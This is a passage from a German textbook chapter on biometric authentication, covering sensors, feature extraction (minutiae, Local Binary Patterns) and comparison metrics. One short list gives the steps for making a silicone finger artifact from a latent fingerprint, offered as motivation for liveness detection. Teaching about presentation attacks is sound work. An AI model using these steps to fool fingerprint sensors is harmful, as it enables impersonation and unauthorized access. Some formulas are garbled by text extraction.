können gute Sicherheitseigenschaften festgestellt werden, d.h. ein Sensor lässt
sich nicht durch Artefakte (d.h. Fälschungen oder Plagiate einer Charakteristik)
täuschen[ISO14]. Solche Sensoren sind für unbetreute System in der physikalischen Zugangskontrolle zu Gebäuden geeignet, wodurch erheblich Personal
eingespart werden kann. Auch ein Online-Banking mit Biometrie ist eine nicht
betreute Anwendung mit hoher Relevanz.
• positive Identifikation / negative Identifikation - bei der positiven Identifikation besteht die biometrische Behauptung aus der Aussage “ich habe in der
Datenbank der Firma einen Referenzdatensatz, denn ich bin Mitarbeiter”. Bei
der negativen Identifikation besteht die biometrische Behauptung aus der Aussage “ich habe in der Datenbank des Kriminalamtes keinen Referenzdatensatz,
denn ich bin kein Krimineller”
• umwelteinflussanfällig / unanfällig - biometrische Verfahren können in
Ihrer Leistung teilweise stark von Umwelteinflüssen beeinträchtigt werden.
Ein Gesichtserkennunssystem kann nur schwerlich im direkten Sonnenlicht
betrieben werden. Ein Sprechererknnungssstem nur schwer in der Nähe eine
viel befahrenen Strasse.
Neben den oben diskutierten Kriterien gibt es weitere offensichtliche Kriterien wie
die Kosten in der Beschaffung sowie Kosten und Aufwand im Betrieb des biometrischen Systems. Sehr relevant ist auch die Frage der Gewöhnung der betroffenen
Person an den Erfassungsprozess. Ein Gesichtserkernnungs-Foto kann ohne viel Einweisung aufgenommen werden. Gegebenenfalls muss der Betreuer trainiert werden,
so dass auf gute Lichtverhältnisse geachtet wird. Ein Training der Person selbst
ist jedoch beispielsweise für eine Unterschriftenerkennungssystem notwendig. Das
“blinde” Schreiben auf einem Tablet-PC ist gewöhnungsbedürftig und erst mit der
Zeit wird eine weitgehend fehlerfreie Interaktion möglich werden. Für uns aus technischer Sicht besonders wichtig ist das Beobachten von Fehlern und das Messen der
Erkennungsleistung, das wir in Kapitel 6.5 vertiefen werden.
Stärken der Biometrischen Authentisierung
Worin liegen die Stärken einer biometrischen Authentisierung? Die klassischen Authentisierungsmechanismen, wie beispielsweise die Wissensauthentisierung (Passwort),
die Authentisierung über Token (Schlüssel) oder dergleichen sind mit eindeutigen
Nachteilen versehen. Passwort und Token kann man meist unter Missachtung einer
Sicherheitsrichtlinie weitergeben, man kann sie vergessen oder verlieren. Um bei der
ansteigenden Zahl der logischen und physikalischen Zugangskontrollen dem Verlust
57
vorzubeugen, werden oft ungeeignete Speicherorte oder identische Passworte verwendet. Im Gegensatz dazu können wir biometrische Charakteristika nicht vergessen
und wir können sie auch nicht delegieren. Biometrische Verfahren ermöglichen die
Feststellung der Identität (Personen-Authentisierung) einer Person in der logischen
und physikalischen Zugangskontrolle und die Biometrie kann Probleme anderer Authentisierungsverfahren lösen. Weiters herscht bei biometrische Authentisierung eine
Gleichheit der Sicherheit über verschiedene Benutzer, im Gegensatzt zu beispielsweise
wissensbasierter Authentisierung bei der “starke” bzw. “schwache” Passwörter gewählt
werden können.
Schwächen der Biometrischen Authentisierung
Biometrische Verfahren werden in der Regel eingesetzt, um entweder die Benutzbarkeit
eines technischen System zu verbessern (z..b FingerprintAuthentisierung am iPhone
oder Samsung Smartphone) oder um die Sicherheit eines technischen Systems zu
verbessern. Dabei muss allerdings berücksichtigt werden, dass mit der Einführung einer
biometrischen Nutzererkennung sich ggfls. wieder neue Sicherheitsrisiken ergeben.
!
Abbildung 6.2: Beispiele für Angriffspunkte auf ein Biometrisches System.
Bildquelle ISO/IEC CD 30107-1 [ISO14]
Die Abbildung 6.2, die aus dem ISO/IEC Standard zu Biometric Presentation
Attack Detection[ISO14] entnommen wurde, zeigt mögliche Angriffspunkte auf ein
biometrisches System. Viele Angriffe können durch Kryptographische Protokolle und
gesicherte Übertragung von biometrischen Daten abgefangen werden (Siehe dazu
auch Kapitel 4).
Besonderes Augenmerk müssen wir aber auf die Absicherung des Zugriffs im Datenspeicher (Angriff 6 auf Data Storage in Abbildung 6.2) sowie auf Angriffe auf den Sensor als die verwundbare Mensch-Maschine-Schnittstelle richten (Angriff 1 auf das Capture Device in Abbildung 6.2). Die Schwächen eines 2D-Gesichtserkennungsverfahren
58
6.1 Einführung
Abbildung 6.3: Links: Angriff auf 2D-Gesichtserkennung.
Rechts: 3D-Gesichtserkennung.
werden deutlich in Abbildung 6.3 links, bei dem ein vor die Kamera gehaltener Papierausdruck die Textur des Gesichtes in ausreichender Qualität für den Sensor präsentiert.
Abhilfe ist möglich, in dem eine dreidimensionale Vermessung der Gesichtsoberfläche
durchgeführt wird (siehe Abbildung 6.3 rechts).
Eine ähnliche Schwäche gegenüber Angriffen mit Artefakten (d.h. Replikaten) gilt
auch für die Fingerbilderkennung, wobei in diesem Fall erschwerend hinzukommt, dass
analoge Repräsentationen der biometrischen Charakteristik unbeabsichtigt hinterlassen werden. Analoge Fingerabdrücke in guter Qualität können auf glatten Oberflächen
wie Gläsern oder CD-Hüllen aufgefunden und ohne großen Aufwand aufgezeichnet
werden. Der Fingerabdruck auf dem Glas ist bereits eine analoge Repräsentation
der biometrischen Charakteristik. Nach der Aufzeichnung ist es nur noch ein kleiner Schritt, einen Silikonfinger zu erstellen und damit die meisten optischen oder
kapazitiven Sensoren (sogenannte Livescanner) zu täuschen, siehe Abbildung 6.4.
Abbildung 6.4: Schritte zur Erstellung eines Finger-Artefakts
Dieser Angriff ohne Mithilfe und Mitwissen der registrierten Person kann zum
Beispiel in den folgenden Schritten ablaufen:
59
• Abnehmen eines Fingerabdrucks von glatter Fläche (z.B. Glas, CD-Hülle,
Hochglanz-Zeitschrift mittels handelsüblichem Eisenpulver und Klarsicht-Klebeband)
• Einscannen in den Rechner und nachbearbeiten: Offensichtliche Fehler durch
Abnahme/Scannen berichtigen, Bild invertieren
• Auf Folie ausdrucken
• Platine mit der Folie belichten und ätzen
• Platine mit Silikonkautschuk abformen
Die Entwicklung von überwindungssicheren Sensoren ist notwendig, wenn ein unbeaufsichtigter Betrieb wie beim Online-Banking vorgesehen ist. Daher sind Sensoren
zur Erfassung von biometrischen Charakteristiken des Fingers durch überwindungssichere Messverfahren (wie z.B. die Venenerkennung) zu ergänzen. Dadurch wird auch
die zu erwartete Nicht-Nutzer-Gruppe verkleinert. Nach Auskunft von Experten sind
bis zu 11% der Bundesbürger von dermatologischen Problemen an den Fingerkuppen
betroffen, die eine Erfassung und Auswertung des Fingerbildes erschweren.
6.2 Biometrische Modalitäten und Sensoren
In diesem Abschnitt werden geläufige biometrische Modalitäten vorgestellt und
deren Sicherheitseigenschaften betrachtet, die vor allem in einem nicht-betreuten
bzw. nicht-überwachten Anwendungsumfeld von Bedeutung sind. Hier ist vor allem
relevant, mit welchem Aufwand es einem Angreifer möglich wird, ein biometrisches
Sample zu produzieren, das von einem Plagiat einer biometrischen Charakteristik
und nicht von einem Körperteil selbst generiert wurde. Unter einem biometrischen
Sample3 versteht man nach der Definition eine analoge oder digitale Repräsentation
einer biometrischen Charakteristik [ISO12]. Beispiele für die Repräsentation einer
biometrischen Charakteristik sind das Foto eines Gesichtes, ein Bild der Iris, ein
Fingerbild oder eine Abbildung der Fingervenen. Diese Repräsentation wird durch
einen Sensor (biometric capture device) aufgezeichnet. 4
6.2.1 Gesichtserkennung
Die Gesichtserkennung ist das biometrische Verfahren, das der Mensch selbst am
häufigsten zur Erkennung verwendet. Während dabei jedoch intuitiv Kontextinformationen wie Körperform und -größe zusätzlich analysiert werden, stehen diese
Parameter einem computergestützten Erkennungsverfahren zunächst nicht zur Verfügung. Die in der biometrischen Gesichtserkennung bislang eingesetzten Systeme
verwenden im Normalfall eine Fotokamera, um zweidimensionale Frontalbilder zu
3
4
biometric sample ist definiert www.christoph-busch.de/standards.html#370321
biometric capture device ist definiert www.christoph-busch.de/standards.html#370401
60
erfassen. Systeme, die auf diesen Sensoren aufbauen, verarbeiten das 2D-Bild und
müssen zunächst das eigentliche Gesicht im Kamerabild lokalisieren und herausfiltern.
Ein Frisurwechsel, aber auch Bärte und Brillen können die Aufgabe für den Gesichtsfindungsalgorithmus erschweren. Bei der zweidimensionalen Gesichtserkennung ist
es unerlässlich, dass das Bildmaterial in sehr guter Bildqualität vorliegt. Werden
Bildqualitätskriterien nicht erfüllt, muss mit einer schwachen Erkennungsleistung des
biometrischen Systems gerechnet werden. Die Einhaltung aller Kriterien sowohl beim
Enrolment als auch beim Versuch der Wiedererkennung ist schwer herzustellen: Nur
selten werden die Gesichtsausrichtung (Pose), der Gesichtsausdruck (Mimik) und die
Beleuchtungssituation identisch sein.
Die Verarbeitungsschritte in der Gesichtserkennung können wie folgt untergliedert
werden:
1. Segmentierung des Gesichts: Der Bildbereich des Gesichts wird bestimmt
zum Beispiel vor dem Aufnahmehintergrund bei einer Einzelaufnahme oder aus
einem Videoframe, das mehrere Personen abbildet.
2. Detektion der Landmarken: Landmarken sind herausgehobene Punkte wie
zum Beispiel die Innen- und Ausseneckpunkte von Augen oder Mund. Ein
Übersicht von Landmarken ist in Abbildung 6.5 gezeigt.
3. Berechnung von Merkmalen: Für das gesamte segmentierte Gesicht und
besonders für den Bereich um die Landmarken werden Merkmale berechnet,
welche die Textur in diesem Bereich repräsentieren. Mehr dazu in Kapitel 6.3.
4. Vergleich: Der aus dem Probenbild berechnete Merkmalsvektor wird mit dem
aus dem Referenzbild berechneten Merkmalsvektor verglichen. Das Ergebnis
des biometrischen Vergleichs ist der Vergleichswert (engl. comparison score5 ).
Mehr dazu in Kapitel 6.4.
Der Vergleichsalgorithmus in einem Gesichtserkennungssystem, der letztlich die
Authentisierungsprobe mit dem Referenzbild vergleicht, hat keine Kenntnis darüber
wie die Probe (biometric probe sample6 ) entstanden ist. Woher soll der Algorithmus
wissen, ob eine lebende Person vor der Kamera steht, ein gedrucktes Foto vor die
Kamera gehalten wird (siehe Abbildung 6.3 links) oder gar ein Smartphone, auf dessen
Display das Bild einer Person dargestellt wird? Es ist keine große Überraschung,
wenn ich den Algorithmus in einem Zugangskontrollsystem mit einem Foto von
meinem Gesicht davon überzeugen kann, dass dieses Foto und die in der Datenbank
hinterlegte biometrische Referenz von ein und derselben natürlichen Person stammen.
Das ist die Aufgabe des Algorithmus. Viele Systeme können keine Lebenderkennung
durchführen oder beschränken sich auf die Auswertung einer Bildfolge. Heutige Gesichtserkennungssysteme verfügen nicht über hinreichende Mechanismen, um eine
Lebenderkennung zu gewährleisten und sind daher in nicht-überwachten Umgebungen
5
6
comparison score ist definiert www.christoph-busch.de/standards.html#370327
biometric probe ist definiert http://www.christoph-busch.de/standards.html#370314
61
Abbildung 6.5: Landmarken in der Gesichtserkennung.
Bildquelle ISO/IEC IS 19794-5:2011[ISO11c]
nur bedingt einsetzbar. Grundsätzlich kann man der 3D-Gesichtserkennung eine verbesserte Robustheit hinsichtlich der Überwindungsangriffe attestieren, da ein Replikat
deutlich schwieriger zu erstellen ist. Schon die Beschaffung der 3D-Geometrie ist ohne
Kooperation der zu replizierenden “Zielperson” mit erheblichem Aufwand verbunden.
Die Produktion eines 3D-PrintOuts ist zwar technisch möglich7 - ein derart hergestellter künstlicher Kopf kann jedoch mit einfachen Lebenderkennungsmechanismen
automatisch detektiert werden, was die Wahrscheinlichkeit eines erfolgreichen Angriffs
reduziert.
6.2.2 Fingerbilderkennung
Die Papillarleisten der Fingerkuppe sind das bekannteste biometrische Charakteristikum. Die Analyse von Fingerabdrücken wird seit mehr als hundert Jahren insbesondere bei der Verbrechensaufklärung eingesetzt. Die biometrischen Fingerbildsysteme
analysieren die Papillarlinien im Fingerbild.
Schon die visuelle Untersuchung in der Kriminalistik, die bereits im 19ten Jahrhundert durchgeführt wurde betrachte das gebildete Grundmuster und verwendet dies in
der Vorauswahl einander ähnlicher Fingerabdrücke. In den Abbildungen 6.6 bis 6.9
sind die vier wesentlichen Grundmuster Rechte Schleife, Linke Schleife, Wirbel und
Bogen dargestellt. Die Sortierung der Referenzbilder nach diesen Grundmustern dient
zu einer Einschränkung des Suchraums. Das bedeutet, es muss nur ein der Teil der
Datenbank auf Ähnlichkeit mit der biometrischen Probe durchsucht werden (engl.
binning).
7
3D Gesichtsmasken http://www.thatsmyface.com
62
Abbildung 6.6: Grundmuster Rechte Schleife mit Kern (core) und Delta.
Bildquelle FVC2004[BUBTCSJSU04]
Abbildung 6.7: Grundmuster Linke Schleife mit Kern (core) und Delta.
Die eigentliche Ähnlichkeitsmessung zwischen Probe und den Referenzen in der
Datenbank (bzw. im Datenbankteil) erfolgt weitgehend automatisiert über den Vergleich von sogenannten Minutien (besondere Punkte) aus jedem Fingerabdruck. Die
Minutien (lat. Kleinigkeiten) genannten Punkte bedeuten, dass sich dort die Hautleisten verzweigen (engl. bifurcation) oder mitten im Abdruck enden (engl. ridge ending).
Auch die Kombinationen mehrerer Verzweigungen und Enden bilden wiederum eine
Gruppe von aggregierten Minutien sogenannte Galton Details.
Zur Bildgebung werden verschiedene Sensoren eingesetzt. Weit verbreitet ist das
Verfahren der Total Internal Reflection (TIR), was auch als optisches Messverfahren
bezeichnet wird; In der Abbildung 6.11 ist ein Prisma dargestellt, das von einer Seite
beleuchtet wird. Von der gegenüberliegenden zweiten Seite wird die Reflektion des
Lichtstrahls mit einer Kamera aufgenommen. Wird auf der dritten Seite der Finger
63
Abbildung 6.8: Grundmuster Wirbel mit Kern (core) und zwei Deltas.
Abbildung 6.9: Grundmuster Bogen ohne Kern oder Delta.
aufgelegt, so ändert sich an den Stellen, an denen die Papillarlinien aufliegen das
Brechungsverhältnis und es entsteht ein gut kontrastiertes Bild der Linien.
Nachteil dieses Sensortyps ist die benötigte Größe. Die zweite große Sensorklasse
der kapzitiven Sensoren hat diesen Nachteil beseitigt. Das Bauprinzip ist in Abbildung
6.12 dargestellt. Hierbei wird ein Chip mit einem Raster von Widerstandssensoren auf
der Oberfläche genutzt. Legt man den Finger auf, so ändern sich die Widerstandswerte
dort, wo die Fingerlinien die entsprechenden Zellen berühren. So kann man aus dem
Raster direkt das Fingerbild auslesen.
Entsprechende Sensoren sind nur noch wenige Millimeter dick und bieten so eine
einfachere Integrationsmöglichkeit wie beispielsweise in mobile Endgeräte (PDA/Handy). Darüber hinaus gibt es noch einige weitere Sensortypen, wie beispielsweise
Streifensensoren, Ultraschall und andere.
64
Abbildung 6.10: Minutien in einem Fingerabdruck.
Abbildung 6.11: Fingerprint Sensor nach dem TIR Prinzip. Bildquelle [SB14]
Abbildung 6.12: Fingerprint Sensor nach dem kapazitiven Prinzip. Bildquelle [SB14]
Eine Herausforderung besteht für die meisten Sensoren darin, einen echten, lebenden
Finger von einer Fälschung beispielsweise aus Silikon zu unterscheiden[SB14].
Erinnern wir uns, dass der Fingerabdruck in der Kriminalistik seit über 100 Jahren
verwendet wird. Von Beginn an wurde als Träger ein Papierbogen verwendet, auf
dem der Finger abgerollt wurde. Erst viel später wurde im Verarbeitungsprozess
dieser Papierbogen in einen Scanner eingelegt und digitalisiert. Der Bogen und
auch der an einem Tatort hinterlassene Fingerabdruck sind jedoch bereits analoge
Repräsentationen der biometrischen Charakteristik. Analoge Fingerabdrücke werden
meist unbeabsichtigt vielerorts hinterlassen. Fingerabdrücke in guter Qualität können
auf glatten Oberflächen wie Gläsern oder CD-Hüllen detektiert und ohne großen
Aufwand aufgezeichnet werden. Nach der Aufzeichnung ist es nur noch ein kleiner
65
Schritt, einen Silikonfinger zu erstellen wie dies bereits zu Beginn des Kapitels in
Abbildung 6.4 gezeigt wurde.
In der Sensortechnik gibt es für die sogenannte Lebenderkennung und zur Detektion eines Silikonfingers verschiedene Ansätze, von Multispektralanalysen über
Blutflussmessungen bis hin zur Messung des Blutsauerstoffgehalts werden Zusatzinformationen erfasst, um einen solchen Betrugsversuch zu detektieren[ISO14][SB14].
Sehr vielversprechend in diesem Zusammenhang ist das aus der Medizintechnik8
stammende Optical Coherence Tomography (OCT) Verfahren, bei dem eine dreidimensionale Aufnahme des Fingerinneren erstellt wird, auf der sogar Details wie
die Schweissdrüsen erkennbar sind. Die Nutzung dieser Technologie für biometrische
Zwecke ist Gegenstand unserer aktuellen Forschung [SBB13].
6.2.3 Venenerkennung
Die Venenmuster im menschlichen Körper sind hauptsächlich geprägt durch zufallsbedingte und epigenetische Prozesse während der Schwangerschaft. Die räumliche
Anordnung und Struktur der Venen und Arterien bleibt unverändert nach der Adoleszenz, lediglich der Durchmesser der Blutgefäße variiert.
Abbildung 6.13: Prinzip eines Sensors zur Venenerkennung. Bildquelle [RRSB14]
Heutige Authentisierungsverfahren nutzen die Handinnenfläche, den Handrücken
und den Finger als einfach zugängliche Körperteile. Dort können die subkutanen
Blutgefäßmuster mit speziellen Sensoren sichtbar gemacht werden und lassen sich
somit als biometrische Charakteristik nutzen.
In der Abbildung 6.13 ist das Funktionsprinzip eines Venensensors dargestellt. Er
nutzt den Unterschied in der Absorptionsfähigkeit von Blut und umgebenden Gewebe.
Elektromagnetische Strahlen bestimmter Wellenlängen werden von verschiedenartigen
Materialien unterschiedlich gut absorbiert. Nichtsichtbare, nah-infrarote Strahlen mit
8
Eine Einführung zu OCT ist zu finden unter http://www.octnews.org/
66
6.3 Merkmalsextraktion
Wellenlängen zwischen 700 und 1.000 nm dringen tief in das Gewebe bis zur Unterhaut
(Subcutis) ein, wo sich die Blutgefäße befinden. Dort werden sie weitestgehend vom
sauerstoffarmen Hämoglobin im Blut der Venen absorbiert. Das umgebende Gewebe
hingegen lässt diese Strahlen ungehindert passieren bzw. reflektiert diese. Somit kann
das Dunkel hervortretende Muster der Venen von der Umgebung extrahiert werden,
wie dies in Abbildung 6.14 deutlich wird.
Abbildung 6.14: Venenbild eines Zeigefingers. Bildquelle [RRSB14]
Nicht nur die erschwerte Beobachtbarkeit der biometrischen Charakteristik an sich,
auch die Möglichkeiten der Lebenderkennung zeichnen biometrische Systeme basierend
auf Venenmustern aus. Gesichert ist, dass das Venenmuster nach dem Absterben
des Gewebes nicht mehr auszulesen ist. Der Grund hierfür ist, dass die existierenden
Systeme auf dem beschriebenen Absorptionsverhalten des Hämoglobins basieren.
Das Blut tritt aus dem Gewebe aus und es verliert zusätzlich seine spezifischen
Absorptionseigenschaften.
Weitere Methoden der Lebenderkennung und solcher zum Erschweren von AttrappenAngriffen auf den Sensor können aus der medizinischen Bildgebung adaptiert werden,
wie das bei dem oben schon erwähnten OCT-Verfahren der Fall ist. Denkbar sind
auch Ansätze zur Nutzung des Doppler-Modus in Ultraschallgeräten zum Messen von
Flüssigkeitsbewegungen, wie der des Blutes. Hochauflösende videobasierte Sensoren
könnten den Effekt der Venenkontraktion ausnutzen. Des Weiteren kann neben der
offensichtlichen Möglichkeit der Pulsmessung auch die Pulsoxymetrie eingesetzt werden, sie ermöglicht es den Blutsauerstoff nicht-invasiv zu messen. Diese Ansätze sind
wegen des hohen Aufwandes aber in der Praxis nicht zu finden.
Unter Merkmalsextraktion verstehen wir den Vorgang, bei dem aus einem biometrischen Sample9 ein Merkmalsvektor erzeugt wird. In der Enrolment-Phase (Registrierung) erzeugen wir ein Template 10 . In der Wiedererkennungsphase erzeugen wir
einen Proben-Merkmalvektor. Ein Template wird definiert als Menge oder Vektor von
9
10
biometric sample ist definiert http://www.christoph-busch.de/standards.html#370321
biometric template ist definiert http://www.christoph-busch.de/standards.html#370322
67
gespeicherten biometrischen Merkmalen, die zu den biometrischen Merkmalen einer
biometrischen Probe direkt vergleichbar sind.
Hier werden am Beispiel der Fingerbilderkennung die Merkmalsextraktion gezeigt.
Für die Gesichts-Modalität wird beispielhaft ein Texturanalyse-Verfahren gezeigt.
6.3.1 Minutienextraktion bei Fingerbildern
Minutien sind die wesentlichen Merkmale, die aus Fingerbildern extrahiert werden.
Die Abbildung 6.15 zeigt eine Probe (grün) und eine Fingerbild-Referenz (blau) von
derselben Finger-Instanz. In beiden Bildern werden die Minutien gesucht, was in
Abbildung 6.16 dargestellt ist. Die weitere Verarbeitung erfolgt auf den Minutien-
Abbildung 6.15: Fingerbild-Probe (grün) und Fingerbild-Referenz (blau).
Abbildung 6.16: Minutien in Fingerbild-Probe (grün) und Fingerbild-Referenz (blau).
Wolken (kreisförmige Punkte), die für Probe und Referenz zur Deckung gebracht
werden. Diesen Vorgang bezeichnet man als Ausrichtung (engl. alignment), der über
die Verbindungslinie vom Kern zum Delta erfolgen kann. Das Ergebnis wird in
Abbildung 6.17 gezeigt. Sofern Probe und Referenz von derselben Fingerinstanz
stammen, werden die Punktwolken zueinander ähnlich sein. In Kapitel 6.4 werden
wir Methoden kennenlernen, um die Ähnlichkeit objektiv zu messen.
68
Abbildung 6.17: Fingerbildminutienvektor der Probe (grün) und Fingerbildminutienvektor der Referenz (blau)
Um die Minutienwolken aus einem Fingerbild zu extrahieren, sind in den letzten
Jahren viele Verfahren vorgeschlagen worden. In der Regel wird aus dem Fingerbild
zunächst das Skelett der Fingerline bestimmt. Eine einfache und anschauliche Methode
zur Skelett-Bildung wurde von Maio und Maltoni vorgeschlagen [MM97], diese wird in
Abbildung 6.18 dargestellt. Die Fingerlinie wird hier als Rücken eines Grauwertgebirge
begriffen und die Skelettbestimmung entspricht dem Versuch auf dem Grat des
Gebirgsrückens entlang zu laufen. Der Algorithmus startet am gelben Punkt auf der
Fingerlinie in Abbildung 6.18 und verfolgt die Linie in Richtung einer geschätzten
Laufrichtung um einige Bildpunkte bis der orange Punkt xt , yt erreicht ist. Der
Abstand zwischen dem gelben und dem orangen Punkt entspricht der Distanz µ.
Abbildung 6.18: Verfahren zur Bestimmung der Skelettlinie aus einem Fingerbild.
Bildquelle Maio [MM97]
Am organe-farbenen Aufsatzpunkt xt , yt wird das Grauwertprofil orthogonal zum
69
Rückenverlauf analysiert (rechts unten in der Abbildung 6.18). Der Fusspunkt xn , yn
des maximalen Grauwertes ist im Profil grün markiert. Seine Position wird in den
Ortsraum übertragen. Die direkte Verbindung zwischem gelbem Punkt und grünem
Punkt ist Teil des Polygonzuges, der das Skelett der Fingerlinie repräsentiert. Das
Verfahren wird wiederholt, bis das Ende einer Linie oder ein Verzweigungspunkt
erreicht ist, an dem ein neuer Polygonzug beginnt.
6.3.2 Local Binary Pattern bei Gesichtsbildern
Bei der Verarbeitung von Gesichtern ist die Vorgehensweise anders. Wie schon in Kapitel 6.2 angedeutet, können zur Gesichtserkennung Merkmale des gesamten Gesichts
berechnet werden. Das bezeichnet man als holistisches Merkmalsextraktionsverfahren.
Ein Beispiel dafür ist das sogenannte Eigenface-Verfahren von Turk und Pentland
[TP91]. Alternative ist eine plausible, wenn auch nicht einfache Vorgehensweise, die
Landmarken im Gesicht automatisch zu detektieren und dann in der Umgebung
der Landmarken im sogenannten Texturfenster das lokale Muster zu analysieren
und durch Merkmale zu beschreiben. Texturen sind uns aus dem täglichen Umfeld
bekannt11 .
Abbildung 6.19: Texturen aus dem täglichen Umfeld: Brodatz Texturen D84, D68,
D20 und D24. Bildquelle Brodatz Album 1966
In der Vergangenheit wurden einfache und komplizierte Analyseverfahren für
Texturen vorgeschlagen. Zu den einfachen Verfahren zählen statistische Momente
[KH90], die über die statistische Verteilung der Pixel (z.B. Standardabweichung)
eine Textur-Metrik definieren. Zu den komplizierteren Verfahren zählen Waveletoder Gabor-Filter, die eine Analyse des Textur-Fensters im Frequenzraum vornehmen [Dau88]. Wir wollen hier exemplarisch ein einfaches und doch sehr wirksames
Verfahren betrachten, das die Textur durch einen binären Merkmalsvektor beschreibt.
Das Local-Binary-Pattern (LBP) Verfahren analysiert zum Beispiel die 8er-Nachbarschaft
einer Landmarke [OPM02]. In Abbildung 6.20 ist ein Texturfenster an einer Landmarke dargestellt. Die Grauwerte g0 , g1 , ... g7 beschreiben die Eigenschaft der Textur in
der 8er-Nachbarschaft des zentralen Pixels mit dem Grauwert gc . Die LBP-Merkmale
werden für eine Nachbarschaft im Radius R12 und eine Anzahl von P Pixeln13
11
Texturen aus dem Brodatz-Album http://www.ux.uis.no/~tranden/brodatz.html
in unserem Beispiel ist R = 1
13
in unserem Beispiel ist P = 8
12
70
6.4 Biometrische Vergleichsverfahren
Abbildung 6.20: 3x3 Texturfenster an einer Landmarke.
definiert.
LBP P,R =
PX
−1
p=0
s(gp − gc )2p
s(x) =

1, if
x ≥ 0;
0, otherwise.
(6.1)
Abbildung 6.21: Grauwerte (links), Differenzen (mitte) und Ergebnis der Binarisierung (rechts)
Mit Gleichung 6.1 wird die Berechnungsvorschrift der LBP-Merkmale definiert. In
der Abbildung 6.21 sehen wir links die Grauwerte in diesem Texturfenster. Für alle
Pixel P der 8er-Nachbarschaft wird die Differenz zum zentralen Pixel gc berechnet.
Das Ergebnis ist in der Abbildung 6.21 zu sehen. Nun wird dieses Zwischenergebnis
mit der Schwellwertfunktion s(x) in Gleichung 6.1 binarisiert. Die Binärwerte werden
nun noch mit 2p multipliziert und anschliessend aufsummiert.
Für unser Beispiel-Texturfenster aus Abbildung 6.21 ergibt sich 1 ∗ 1 + 1 ∗ 2 + 0 ∗
4 + 0 ∗ 8 + 0 ∗ 16 + 0 ∗ 32 + 0 ∗ 64 + 1 ∗ 128 = 131. In der Abbildung 6.22 rechts wurde
das LBP-Merkmal nicht nur für die Landmarken sondern zur Veranschaulichung für
alle Bildpixel berechnet und als Grauwertbild dargestellt.
Hier werden die Grundlagen von biometrischen Vergleichsverfahren betrachtet. Wir
betrachten hier exemplarisch drei verschiedene Methoden.
71
Abbildung 6.22: Original und LBP-Merkmale (rechts).
6.4.1 Vergleich von Fingerbildminutien
Wir betrachten noch einmal die beiden Fingerbildwolken aus Abbildung 6.17, die wir
in Abbildung 6.23 ergänzt haben.
Abbildung 6.23: Fingerbildminutienvektor der Probe (grün) und Fingerbildminutienvektor der Referenz (blau) und Überlagerung der ausgerichteten
Punktwolken (rechts).
Rechts im Bild ist die Überlagerung der ausgerichteten Punktwolken zu sehen.
Um eine Aussage über die Ähnlichkeit der beiden Wolken zu treffen könnten wir für
alle Punkte aus der Probe jeweils die Abstände zu den Punkten aus der Referenz
betrachten. Die sogenannte Hausdorff -Metrik [DJ94] kann dazu verwendet werden.
Alternativ können wir auszählen, für wieviele Minutien-Punkte in der Probe sich ein
passender Partner in der Referenz-Wolke finden lässt.
Dazu betrachten wir in Abbildung 6.24 die Eigenschaften einer Minutie mi =
{xi , yi , θi }. Dies ist zunächst die Koordinate xi , yi sowie die Orientierung der Papillarlinie (engl. ridge) an diesem Punkt. Der Orientierungswinkel θi wird grundsätzlich
entgegen dem Uhrzeigersinn gemessen, wobei Null durch die Horizontale nach rechts
definiert ist. Zusätzlich könnten auch noch weitere Eigenschaften betrachtet werden,
wie zum Beispiel der Minutientyp t ∈ {le, bf } (Endpunkt oder Verzweigungspunkt).
Der ISO/IEC Standard 19794-2:2011 [ISO11b] gibt dazu viele Anregungen. Wir konzentrieren uns hier auf ein Triple und bezeichnen mit mi = {xi , yi , θi } eine Minutie
72
aus der n-elementigen Probenwolke Q und mit m0 j = {x0j , yj0 , θj0 } eine Minutie aus
der k-elementigen Referenzwolke R.
Q = {m1 , m2 , . . . , mn } ⊆ M,
mi = hxi , yi , θi i ∈ Q,
i = 1...m
(6.2)
R = {m01 , m02 , . . . , m0k } ⊆ M,
m0j = hx0j , yj0 , θj0 i ∈ R,
j = 1...k
(6.3)
Abbildung 6.24: Eigenschaften einer Fingerminutie an einem Endpunkt (links) und
bei einer Verzweigung (rechts): Verwendet wird die Position im
ausgerichteten Fingerbild und die Orientierung der Fingerlinie.
Wir können nun feststellen, dass zwei Minutien Partner sind wenn ihre räumliche
Differenz sd(mi , m0j ) innerhalb der Toleranz r0 und die Differenz der Orientierungen
dd(mi , m0j ) kleiner als θ0 ist.
sd(mi , m0j ) =
q
(xi − x0j )2 + (yi − yj0 )2 ≤ r0
dd(mi , m0j ) = min{|θi − θj0 |, 360◦ − |θi − θj0 |} ≤ θ0 .
(6.4)
(6.5)
In Gleichung 6.5 verwenden wir das Minimum der beiden Differenzen, um eine
Abweichung von 1◦ und 359◦ auch wirklich auf den Wert 2◦ abzubilden.
Um nun einen Ähnlichkeitswert zu berechnen identifizieren wir die Anzahl der
gefundenen Partner in Q und R.
Q = {m1 , m2 , m3 , m4 , m5 , m6 ,
R = {m01 ,
m02 ,
}⊆M
(6.6)
m03 , m04 } ⊆ M
(6.7)
Es konnten im Beispiel 6.7 eine Partnermenge = {(m1 , m01 ), (m3 , m02 ), (m6 , m03 )} mit
drei Paaren gefunden werden. Die Anzahl gefundener Paare definiert die Ähnlichkeit
zweier Fingerbilder.
73
6.4.2 Vergleich von mehrdimensionalen Merkmalvektoren
Oft werden in der Biometrie hochdiminesonale Merkmalvektoren berechnet. Zum
Beispiel können wir für n Landmarken im Gesicht jeweils ein LBP-Wert berechnen und
das Ergebnis zu einem n-dimensionalen Vektor zusammenfassen. Ein Vergleichswert
kann dann durch den cosinus zwischen den beiden Vektoren bestimmt werden. Die
Ähnlichkeitwert ist groß, wenn der Winkel zwischen den Vektoren klein ist. Auch
üblich ist, eine Distanz zwischen den beiden Punkten im hochdimensionalen Raum
zu berechnen. Für den Distanzwert d erwarten wir, dass die folgenden Bedingungen
erfüllt sind
d(Q, R) ≥ 0
(6.8)
d(R, R) = 0
(6.9)
und
Die Bedingung 6.9 bezeichnen wir als Selbst-Vergleich, z.B. falls zwei Templates, die
mit zwei verschiedenen Algorihtmen von ein un demselben biometric Sample erzeugt
wurden, dann sollte die Distanz null oder wenigsten nahe null sein. Die Distanz d kann
in einen Ähnlichkeitswert s, unter Verwendung einer monoton fallenden Funktion f ,
konvertiert werden14 . Nachfolgend sind Beispiele für übliche Konvertierungen gegeben:
s = −d
(6.10)
s = −log(d)
(6.11)
s=
1
d
(6.12)
Für einen n-dimensionalen metrischen Raum können wir die P-norm als Distanzmetrik verwenden15 . In der Abbildung 6.25 ist der Einfachheit halber ein zweidimensionaler Merkmalraum mit einem Probenvektor Q und einem Referenzvektor R
dargestellt.
